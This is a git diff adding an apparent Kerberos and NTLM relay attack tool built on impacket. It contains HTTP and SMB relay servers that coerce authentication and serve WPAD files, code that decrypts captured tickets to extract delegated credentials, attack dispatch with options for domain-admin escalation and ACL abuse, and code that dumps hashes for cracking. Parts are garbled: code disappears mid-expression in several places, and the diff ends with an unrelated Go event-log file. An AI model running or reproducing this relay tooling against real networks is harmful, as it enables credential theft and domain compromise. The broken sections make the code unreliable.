authdata = get_kerberos_loot(token, self.server.config) + + # If we are here, it was succesful + + # Are we in attack mode? If so, launch attack against all targets + if self.server.config.mode == 'ATTACK': + self.do_attack(authdata) + + self.send_response(207, "Multi-Status") + self.send_header('Content-Type', 'application/xml') + self.send_header('Content-Length', str(len(content))) + self.end_headers() + self.wfile.write(content) + + def do_GET(self): + messageType = 0 + if self.server.config.mode == 'REDIRECT': + self.do_SMBREDIRECT() + return + + LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) + + # Serve WPAD if: + # - The client requests it + # - A WPAD host was provided in the command line options + # - The client has not exceeded the wpad_auth_num threshold yet + if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]): + LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) + self.serve_wpad() + return + + # Determine if the user is connecting to our server directly or attempts to use it as a proxy + if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): + proxy = True + else: + proxy = False + + # TODO: Handle authentication that isn't complete the first time + + if (proxy and self.getheader('Proxy-Authorization') is None) or (not proxy and self.getheader('Authorization') is None): + self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy) + return + else: + if proxy: + auth_header = self.getheader('Proxy-Authorization') + else: + auth_header = self.getheader('Authorization') + + try: + _, blob = auth_header.split('Negotiate') + token = base64.b64decode(blob.strip()) + except: + self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy) + return + if b'NTLMSSP' in token: + LOG.info('HTTPD: Client %s is using NTLM authentication instead of Kerberos' % self.client_address[0]) + return + # If you're looking for the magic, it's in lib/utils/kerberos.py + authdata = get_kerberos_loot(token, self.server.config) + + # If we are here, it was succesful + + # Are we in attack mode? If so, launch attack against all targets + if self.server.config.mode == 'ATTACK': + self.do_attack(authdata) + + # And answer 404 not found + self.send_response(404) + self.send_header('WWW-Authenticate', 'Negotiate') + self.send_header('Content-type', 'text/html') + self.send_header('Content-Length','0') + self.send_header('Connection','close') + self.end_headers() + return + + def do_attack(self, authdata): + self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) + # No SOCKS, since socks is pointless when you can just export the tickets + # instead we iterate over all the targets + for target in self.server.config.target.originalTargets: + parsed_target = target + if parsed_target.scheme.upper() in self.server.config.attacks: + client = self.server.config.protocolClients[target.scheme.upper()](self.server.config, parsed_target) + client.initConnection(authdata, self.server.config.dcip) + # We have an attack.. go for it + attack = self.server.config.attacks[parsed_target.scheme.upper()] + client_thread = attack(self.server.config, client.session, self.authUser) + client_thread.start() + else: + LOG.error('No attack configured for %s', parsed_target.scheme.upper()) diff --git a/kerbexec/servers/smbrelayserver.py b/kerbexec/servers/smbrelayserver.py new file mode 100644 index 0000000..cbd0709 --- /dev/null +++ b/kerbexec/servers/smbrelayserver.py @@ -0,0 +1,595 @@ +# Copyright (c) 2013-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# SMB Relay Server +# +# Authors: +# Alberto Solino (@agsolino) +# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) +# +# Description: +# This is the SMB server which relays the connections +# to other protocols +from __future__ import division +from __future__ import print_function +from six import b +from threading import Thread +try: + import ConfigParser +except ImportError: + import configparser as ConfigParser +import struct +import logging +import time +import calendar +import random +import string +import socket + +from binascii import hexlify +from impacket import smb, ntlm, LOG, smb3 +from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS +from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit +from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile +from impacket.spnego import ASN1_AID, ASN1_SUPPORTED_MECH +from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections +from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor +from impacket.smbserver import getFileTime +from pyasn1.codec.der import decoder, encoder +from lib.utils.kerberos import get_kerberos_loot, get_auth_data +from lib.utils.spnego import GSSAPIHeader_SPNEGO_Init2, GSSAPIHeader_SPNEGO_Init, MechTypes, MechType, TypesMech, NegTokenResp, NegResult, NegotiationToken + +class SMBRelayServer(Thread): + def __init__(self,config): + Thread.__init__(self) + self.daemon = True + self.server = 0 + #Config object + self.config = config + #Current target IP + self.target = None + #Targets handler + self.targetprocessor = self.config.target + #Username we auth as gets stored here later + self.authUser = None + self.proxyTranslator = None + + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global','log_file','None') + smbConfig.set('global','credentials_file','') + + if self.config.smb2support is True: + smbConfig.set("global", "SMB2Support", "True") + else: + smbConfig.set("global", "SMB2Support", "False") + + if self.config.outputFile is not None: + smbConfig.set('global','jtr_dump_path',self.config.outputFile) + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path','') + + # Change address_family to IPv6 if this is configured + if self.config.ipv6: + SMBSERVER.address_family = socket.AF_INET6 + + # changed to dereference configuration interfaceIp + self.server = SMBSERVER((config.interfaceIp,445), config_parser = smbConfig) + logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) + + self.server.processConfigFile() + + self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) + self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX) + + self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate) + self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup) + # Let's use the SMBServer Connection dictionary to keep track of our client connections as well + #TODO: See if this is the best way to accomplish this + + # changed to dereference configuration interfaceIp + self.server.addConnection('SMBRelay', config.interfaceIp, 445) + + ### SMBv2 Part ################################################################# + def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): + connData = smbServer.getConnectionData(connId, checkStatus=False) + + + LOG.info("SMBD: Received connection from %s" % (connData['ClientIP'])) + + respPacket = smb3.SMB2Packet() + respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR + respPacket['Status'] = STATUS_SUCCESS + respPacket['CreditRequestResponse'] = 1 + respPacket['Command'] = smb3.SMB2_NEGOTIATE + respPacket['SessionID'] = 0 + + if isSMB1 is False: + respPacket['MessageID'] = recvPacket['MessageID'] + else: + respPacket['MessageID'] = 0 + + respPacket['TreeID'] = 0 + + respSMBCommand = smb3.SMB2Negotiate_Response() + + # Just for the Nego Packet, then disable it + respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED + + if isSMB1 is True: + # Let's first parse the packet to see if the client supports SMB2 + SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) + + dialects = SMBCommand['Data'].split(b'\x02') + if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: + respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 + #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 + else: + # Client does not support SMB2 fallbacking + raise Exception('Client does not support SMB2, fallbacking') + else: + respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 + #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 + + respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)])) + respSMBCommand['Capabilities'] = 0 + respSMBCommand['MaxTransactSize'] = 65536 + respSMBCommand['MaxReadSize'] = 65536 + respSMBCommand['MaxWriteSize'] = 65536 + respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime())) + respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime())) + respSMBCommand['SecurityBufferOffset'] = 0x80 + + blob = GSSAPIHeader_SPNEGO_Init2() + blob['tokenOid'] = '1.3.6.1.5.5.2' + blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']), + MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']), + MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])]) + blob['innerContextToken']['negHints']['hintName'] = "not_defined_in_RFC4178@please_ignore" + respSMBCommand['Buffer'] = encoder.encode(blob) + + respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) + + respPacket['Data'] = respSMBCommand + + smbServer.setConnectionData(connId, connData) + + return None, [respPacket], STATUS_SUCCESS + + # This is SMB2 + def SmbSessionSetup(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId, checkStatus = False) + ############################################################# + # SMBRelay + smbData = smbServer.getConnectionData('SMBRelay', False) + ############################################################# + + respSMBCommand = smb3.SMB2SessionSetup_Response() + sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) + + connData['Capabilities'] = sessionSetupData['Capabilities'] + + securityBlob = sessionSetupData['Buffer'] + + rawNTLM = False + if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID: + + # negTokenInit packet + try: + blob = decoder.decode(securityBlob, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] + token = blob['innerContextToken']['negTokenInit']['mechToken'] + + if len(blob['innerContextToken']['negTokenInit']['mechTypes']) > 0: + # Is this GSSAPI NTLM or something else we don't support? + mechType = blob['innerContextToken']['negTokenInit']['mechTypes'][0] + if str(mechType) != TypesMech['KRB5 - Kerberos 5'] and str(mechType) != \ + TypesMech['MS KRB5 - Microsoft Kerberos 5']: + # Nope, do we know it? + if str(mechType) in MechTypes: + mechStr = MechTypes[str(mechType)] + else: + mechStr = mechType + smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) + # We don't know the token, we answer back again saying + # we just support Kerberos. + respToken = NegotiationToken() + respToken['negTokenResp']['negResult'] = 'request_mic' + respToken['negTokenResp']['supportedMech'] = TypesMech['KRB5 - Kerberos 5'] + respTokenData = encoder.encode(respToken) + respSMBCommand['SecurityBufferOffset'] = 0x48 + respSMBCommand['SecurityBufferLength'] = len(respTokenData) + respSMBCommand['Buffer'] = respTokenData + + return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED + else: + + # This is Kerberos, we can do something with this + try: + # Are we in attack mode? If so, launch attack against all targets + if self.config.mode == 'ATTACK': + # If you're looking for the magic, it's in lib/utils/kerberos.py + authdata = get_kerberos_loot(securityBlob, self.config) + self.do_attack(authdata) + + if self.config.mode == 'RELAY': + authdata = get_auth_data(securityBlob, self.config) + self.do_relay(authdata) + + # This ignores all signing stuff + # causes connection resets + # Todo: reply properly! + + respToken = NegotiationToken() + # accept-completed + respToken['negTokenResp']['negResult'] = 'accept_completed' + + respSMBCommand['SecurityBufferOffset'] = 0x48 + respSMBCommand['SecurityBufferLength'] = len(respToken) + respSMBCommand['Buffer'] = encoder.encode(respToken) + + smbServer.setConnectionData(connId, connData) + + return [respSMBCommand], None, STATUS_SUCCESS + + # Somehow the function above catches all exceptions and hides them + # which is pretty annoying + except Exception as e: + import traceback + traceback.print_exc() + raise + + pass + except: + import traceback + traceback.print_exc() + else: + # No GSSAPI stuff, we can't do anything with this + smbServer.log("No negTokenInit sent by client", logging.CRITICAL) + raise Exception('No negTokenInit sent by client') + + respSMBCommand['SecurityBufferOffset'] = 0x48 + respSMBCommand['SecurityBufferLength'] = len(respToken) + respSMBCommand['Buffer'] = respToken.getData() + + smbServer.setConnectionData(connId, connData) + + return [respSMBCommand], None, errorCode + ################################################################################ + + ### SMBv1 Part ################################################################# + def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId, checkStatus = False) + if self.config.mode.upper() == 'REFLECTION': + self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) + + #TODO: Check if a cache is better because there is no way to know which target was selected for this victim + # except for relying on the targetprocessor selecting the same target unless a relay was already done + self.target = self.targetprocessor.getTarget() + + ############################################################# + # SMBRelay + # Get the data for all connections + smbData = smbServer.getConnectionData('SMBRelay', False) + + if smbData.has_key(self.target): + # Remove the previous connection and use the last one + smbClient = smbData[self.target]['SMBClient'] + del smbClient + del smbData[self.target] + + LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc)) + + try: + if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: + extSec = False + else: + if self.config.mode.upper() == 'REFLECTION': + # Force standard security when doing reflection + LOG.debug("Downgrading to standard security") + extSec = False + recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) + else: + extSec = True + + #Init the correct client for our target + client = self.init_client(extSec) + except Exception as e: + LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) + self.targetprocessor.logTarget(self.target) + else: + smbData[self.target] = {} + smbData[self.target]['SMBClient'] = client + connData['EncryptionKey'] = client.getStandardSecurityChallenge() + smbServer.setConnectionData('SMBRelay', smbData) + smbServer.setConnectionData(connId, connData) + + return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) + ############################################################# + + def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): + + connData = smbServer.getConnectionData(connId, checkStatus = False) + ############################################################# + # SMBRelay + smbData = smbServer.getConnectionData('SMBRelay', False) + ############################################################# + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) + + if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: + # Extended security. Here we deal with all SPNEGO stuff + respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() + respData = smb.SMBSessionSetupAndX_Extended_Response_Data() + sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) + sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() + sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] + sessionSetupData.fromString(SMBCommand['Data']) + connData['Capabilities'] = sessionSetupParameters['Capabilities'] + + if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: + # If there no GSSAPI ID, it must be an AUTH packet + blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) + token = blob['ResponseToken'] + else: + # NEGOTIATE packet + blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) + token = blob['MechToken'] + + # Here we only handle NTLMSSP, depending on what stage of the + # authentication we are, we act on it + messageType = struct.unpack('> 16 + packet['ErrorClass'] = errorCode & 0xff + + LOG.error("Authenticating against %s://%s as %s\%s FAILED" % ( + self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], + authenticateMessage['user_name'])) + + #Log this target as processed for this client + self.targetprocessor.logTarget(self.target) + + client.killConnection() + + return None, [packet], errorCode + else: + # We have a session, create a thread and do whatever we want + LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( + self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) + + # Log this target as processed for this client + self.targetprocessor.logTarget(self.target, True) + + ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], + authenticateMessage['user_name'], + authenticateMessage['domain_name'], + authenticateMessage['lanman'], authenticateMessage['ntlm']) + client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data + + if self.server.getJTRdumpPath() != '': + writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], + self.server.getJTRdumpPath()) + + del (smbData[self.target]) + + self.do_attack(client) + # Now continue with the server + ############################################################# + + respToken = SPNEGO_NegTokenResp() + # accept-completed + respToken['NegResult'] = b'\x00' + + # Status SUCCESS + errorCode = STATUS_SUCCESS + # Let's store it in the connection data + connData['AUTHENTICATE_MESSAGE'] = authenticateMessage + else: + raise Exception("Unknown NTLMSSP MessageType %d" % messageType) + + respParameters['SecurityBlobLength'] = len(respToken) + + respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] + respData['SecurityBlob'] = respToken.getData() + + else: + # Process Standard Security + #TODO: Fix this for other protocols than SMB [!] + respParameters = smb.SMBSessionSetupAndXResponse_Parameters() + respData = smb.SMBSessionSetupAndXResponse_Data() + sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) + sessionSetupData = smb.SMBSessionSetupAndX_Data() + sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] + sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] + sessionSetupData.fromString(SMBCommand['Data']) + + client = smbData[self.target]['SMBClient'] + _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) + + if errorCode != STATUS_SUCCESS: + # Let's return what the target returned, hope the client connects back again + packet = smb.NewSMBPacket() + packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS + packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY + packet['Command'] = recvPacket['Command'] + packet['Pid'] = recvPacket['Pid'] + packet['Tid'] = recvPacket['Tid'] + packet['Mid'] = recvPacket['Mid'] + packet['Uid'] = recvPacket['Uid'] + packet['Data'] = '\x00\x00\x00' + packet['ErrorCode'] = errorCode >> 16 + packet['ErrorClass'] = errorCode & 0xff + + #Log this target as processed for this client + self.targetprocessor.logTarget(self.target) + + # Finish client's connection + #client.killConnection() + + return None, [packet], errorCode + else: + # We have a session, create a thread and do whatever we want + LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( + self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'], + sessionSetupData['Account'])) + + self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() + + # Log this target as processed for this client + self.targetprocessor.logTarget(self.target, True) + + ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], + sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) + client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data + + if self.server.getJTRdumpPath() != '': + writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], + self.server.getJTRdumpPath()) + + del (smbData[self.target]) + + self.do_attack(client) + # Now continue with the server + ############################################################# + + respData['NativeOS'] = smbServer.getServerOS() + respData['NativeLanMan'] = smbServer.getServerOS() + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + # From now on, the client can ask for other commands + connData['Authenticated'] = True + + ############################################################# + # SMBRelay + smbServer.setConnectionData('SMBRelay', smbData) + ############################################################# + smbServer.setConnectionData(connId, connData) + + return [respSMBCommand], None, errorCode + ################################################################################ + + def do_attack(self, authdata): + # Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties + self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) + # No SOCKS, since socks is pointless when you can just export the tickets + # instead we iterate over all the targets + for target in self.config.target.originalTargets: + parsed_target = target + if parsed_target.scheme.upper() in self.config.attacks: + client = self.config.protocolClients[target.scheme.upper()](self.config, parsed_target) + client.initConnection(authdata, self.config.dcip) + # We have an attack.. go for it + attack = self.config.attacks[parsed_target.scheme.upper()] + client_thread = attack(self.config, client.session, self.authUser) + client_thread.start() + else: + LOG.error('No attack configured for %s', parsed_target.scheme.upper()) + + def do_relay(self, authdata): + self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) + sclass, host = authdata['service'].split('/') + for target in self.config.target.originalTargets: + parsed_target = target + if host.lower() in parsed_target.hostname.lower(): + # Found a target with the same SPN + client = self.config.protocolClients[target.scheme.upper()](self.config, parsed_target) + client.initConnection(authdata, self.config.dcip) + # We have an attack.. go for it + attack = self.config.attacks[parsed_target.scheme.upper()] + client_thread = attack(self.config, client.session, self.authUser) + client_thread.start() + return + # Still here? Then no target was found matching this SPN + LOG.error('No target configured that matches the hostname of the SPN in the ticket: %s', parsed_target.netloc.lower()) + + def _start(self): + self.server.daemon_threads=True + self.server.serve_forever() + LOG.info('Shutting down SMB Server') + self.server.server_close() + + def run(self): + LOG.info("Setting up SMB Server") + self._start() diff --git a/kerbexec/utils/__init__.py b/kerbexec/utils/__init__.py new file mode 100644 index 0000000..2ae2839 --- /dev/null +++ b/kerbexec/utils/__init__.py @@ -0,0 +1 @@ +pass diff --git a/kerbexec/utils/config.py b/kerbexec/utils/config.py new file mode 100644 index 0000000..580a14f --- /dev/null +++ b/kerbexec/utils/config.py @@ -0,0 +1,57 @@ +""" +Config class, mostly extended from ntlmrelayx +""" +from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig + +class KrbRelayxConfig(NTLMRelayxConfig): + def __init__(self): + NTLMRelayxConfig.__init__(self) + + # Auth options + self.dcip = None + self.aeskey = None + self.hashes = None + self.password = None + self.israwpassword = False + self.salt = None + + # Krb options + self.format = 'ccache' + + # LDAP options + self.dumpdomain = True + self.addda = True + self.aclattack = True + self.validateprivs = True + self.escalateuser = None + self.addcomputer = False + self.delegateaccess = False + + # Custom options + self.victim = None + + # Make sure we have a fixed version of this to avoid incompatibilities with impacket + def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid): + self.dumpdomain = dumpdomain + self.addda = addda + self.aclattack = aclattack + self.validateprivs = validateprivs + self.escalateuser = escalateuser + self.addcomputer = addcomputer + self.delegateaccess = delegateaccess + self.dumplaps = dumplaps + self.dumpgmsa = dumpgmsa + self.dumpadcs = dumpadcs + self.sid = sid + + def setAuthOptions(self, aeskey, hashes, dcip, password, salt, israwpassword=False): + self.dcip = dcip + self.aeskey = aeskey + self.hashes = hashes + self.password = password + self.salt = salt + self.israwpassword = israwpassword + + def setKrbOptions(self, outformat, victim): + self.format = outformat + self.victim = victim \ No newline at end of file diff --git a/kerbexec/utils/kerberos.py b/kerbexec/utils/kerberos.py new file mode 100644 index 0000000..cb2c9ff --- /dev/null +++ b/kerbexec/utils/kerberos.py @@ -0,0 +1,335 @@ +from __future__ import unicode_literals +import struct +import datetime +import random +from binascii import unhexlify, hexlify +from pyasn1.type.univ import noValue +from pyasn1.codec.der import decoder, encoder +from pyasn1.error import PyAsn1Error +from ldap3 import Server, Connection, NTLM, ALL, SASL, KERBEROS +from ldap3.core.results import RESULT_STRONGER_AUTH_REQUIRED +from ldap3.operation.bind import bind_operation +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from impacket.krb5.gssapi import KRB5_AP_REQ, GSS_C_DELEG_FLAG +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ + Ticket as TicketAsn1, EncTGSRepPart, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1, KRB_CRED, EncKrbCredPart + +from impacket.krb5.crypto import Key, _enctype_table, Enctype, InvalidChecksum, string_to_key +from .krbcredccache import KrbCredCCache +from .spnego import GSSAPIHeader_SPNEGO_Init, GSSAPIHeader_KRB5_AP_REQ +from impacket import LOG +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.krb5 import constants +from impacket.krb5.kerberosv5 import getKerberosTGS +from Cryptodome.Hash import HMAC, MD4 + +def get_auth_data(token, options): + # Do we have a Krb ticket? + blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] + data = blob['innerContextToken']['negTokenInit']['mechToken'] + try: + payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0] + except PyAsn1Error: + raise Exception('Error obtaining Kerberos data') + # If so, assume all is fine and we can just pass this on to the legit server + # we just need to get the correct target name + apreq = payload['apReq'] + + # Get ticket data + domain = str(apreq['ticket']['realm']).lower() + # Assume this is NT_SRV_INST with 2 labels (not sure this is always the case) + sname = '/'.join([str(item) for item in apreq['ticket']['sname']['name-string']]) + + # We dont actually know the client name, either use unknown$ or use the user specified + if options.victim: + username = options.victim + else: + username = f"unknown{random.randint(0, 10000):04d}$" + return { + "domain": domain, + "username": username, + "krbauth": token, + "service": sname, + "apreq": apreq + } + +def get_kerberos_loot(token, options): + from pyasn1 import debug + # debug.setLogger(debug.Debug('all')) + # Do we have a Krb ticket? + blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] + # print str(blob) + + data = blob['innerContextToken']['negTokenInit']['mechToken'] + + try: + payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0] + except PyAsn1Error: + raise Exception('Error obtaining Kerberos data') + # print payload + # It is an AP_REQ + decodedTGS = payload['apReq'] + # print decodedTGS + + # Get ticket data + + cipherText = decodedTGS['ticket']['enc-part']['cipher'] + + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or + # application session key), encrypted with the service key + # (section 5.4.2) + + newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])] + + # Create decryption keys from specified Kerberos keys + if options.hashes is not None: + nthash = options.hashes.split(':')[1] + else: + nthash = '' + + aesKey = options.aeskey or '' + + allciphers = [ + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) + ] + + # Store Kerberos keys + # TODO: get the salt from preauth info (requires us to send AS_REQs to the DC) + keys = {} + + if nthash != '': + keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash) + if aesKey != '': + if len(aesKey) == 64: + keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(aesKey) + else: + keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(aesKey) + + ekeys = {} + for kt, key in keys.items(): + ekeys[kt] = Key(kt, key) + + # Calculate Kerberos keys from specified password/salt + if options.password and options.salt: + for cipher in allciphers: + if cipher == 23 and options.israwpassword: + # RC4 calculation is done manually for raw passwords + md4 = MD4.new() + md4.update(options.password) + ekeys[cipher] = Key(cipher, md4.digest()) + else: + # Do conversion magic for raw passwords + if options.israwpassword: + rawsecret = options.password.decode('utf-16-le', 'replace').encode('utf-8', 'replace') + else: + # If not raw, it was specified from the command line, assume it's not UTF-16 + rawsecret = options.password + ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt) + LOG.debug('Calculated type %d Kerberos key: %s', cipher, hexlify(ekeys[cipher].contents)) + + # Select the correct encryption key + try: + key = ekeys[decodedTGS['ticket']['enc-part']['etype']] + # This raises a KeyError (pun intended) if our key is not found + except KeyError: + LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied', + decodedTGS['ticket']['enc-part']['etype'], + ', '.join([str(enctype) for enctype in ekeys.keys()])) + return None + + # Recover plaintext info from ticket + try: + plainText = newCipher.decrypt(key, 2, cipherText) + except InvalidChecksum: + LOG.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') + if options.salt: + LOG.info('You specified a salt manually. Make sure it has the correct case.') + return + LOG.debug('Ticket decrypt OK') + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + + # print encTicketPart + flags = encTicketPart['flags'].asBinary() + # print flags + # for flag in TicketFlags: + # if flags[flag.value] == '1': + # print flag + # print flags[TicketFlags.ok_as_delegate.value] + cipherText = decodedTGS['authenticator']['cipher'] + newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])] + # Recover plaintext info from authenticator + plainText = newCipher.decrypt(sessionKey, 11, cipherText) + + authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0] + # print authenticator + + # The checksum may contain the delegated ticket + cksum = authenticator['cksum'] + if cksum['cksumtype'] != 32771: + raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype']) + + # Checksum as in 4.1.1 [RFC4121] + # Fields: + # 0-3 Length of channel binding info (fixed at 16) + # 4-19 channel binding info + # 20-23 flags + # 24-25 delegation option identifier + # 26-27 length of deleg field + # 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28) + # n..last extensions + flags = struct.unpack('. + +package logger + +import ( + "syscall" + + "github.com/rs/zerolog" + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/svc/eventlog" +) + +func NewEventLogWriter(name string) (zerolog.LevelWriter, error) { + if elog, err := eventlog.Open(name); err != nil { + return nil, err + } else { + return EventLogLevelWriter{elog}, nil + } +} + +type EventLogLevelWriter struct { + eventLog *eventlog.Log +} + +func (s EventLogLevelWriter) Write(msg []byte) (int, error) { + return s.WriteLevel(zerolog.InfoLevel, msg) +} + +func (s EventLogLevelWriter) WriteLevel(level zerolog.Level, msg []byte) (n int, err error) { + var eventType uint16 + switch level { + case zerolog.Disabled: + return 0, nil + case zerolog.ErrorLevel: + eventType = windows.EVENTLOG_ERROR_TYPE + default: + eventType = windows.EVENTLOG_INFORMATION_TYPE + } + + sysString := []*uint16{syscall.StringToUTF16Ptr(string(msg))} + if err := windows.ReportEvent(s.eventLog.Handle, eventType, 0, 1, 0, 1, 0, &sysString[0], nil); err != nil { + return 0, err + } else { + return len(msg), nil + } +} + +func (s EventLogLevelWriter) Close() error { + return s.eventLog.Close() +} diff --git 